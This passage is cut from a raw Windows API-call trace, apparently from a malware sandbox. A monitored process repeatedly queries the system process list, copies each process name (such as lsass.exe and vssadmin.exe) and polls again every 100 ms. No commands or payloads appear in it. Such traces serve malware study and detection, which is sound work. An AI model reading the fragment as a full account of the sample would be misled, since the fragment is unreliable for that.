(Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0180.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.623] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0180.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.623] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0180.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.624] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0180.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.624] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0180.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.624] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0180.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0680 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e40 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e70 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e88 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0180.625] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0180.625] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0750 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.626] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.626] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e28 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1838 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc0c8 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d18d8 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1df8 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1b18 [0180.627] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0180.627] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d17f8 [0180.628] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0180.628] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0180.628] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.628] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0180.628] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.628] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0180.628] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0180.628] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0180.628] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0180.628] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.628] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0180.628] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.628] Sleep (dwMilliseconds=0x64) [0180.830] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0180.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0180.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0180.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0180.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0180.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0180.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0180.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0180.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0180.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0180.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0180.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0180.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0180.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.835] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0180.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.836] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0180.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.836] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0180.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.836] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0180.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.837] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0180.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.837] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0180.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.837] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0180.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.838] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0180.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0180.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0180.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f06d0 [0180.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0180.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e88 [0180.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0180.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0180.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e70 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e28 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0890 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1de0 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d18d8 [0180.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0180.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbda8 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory 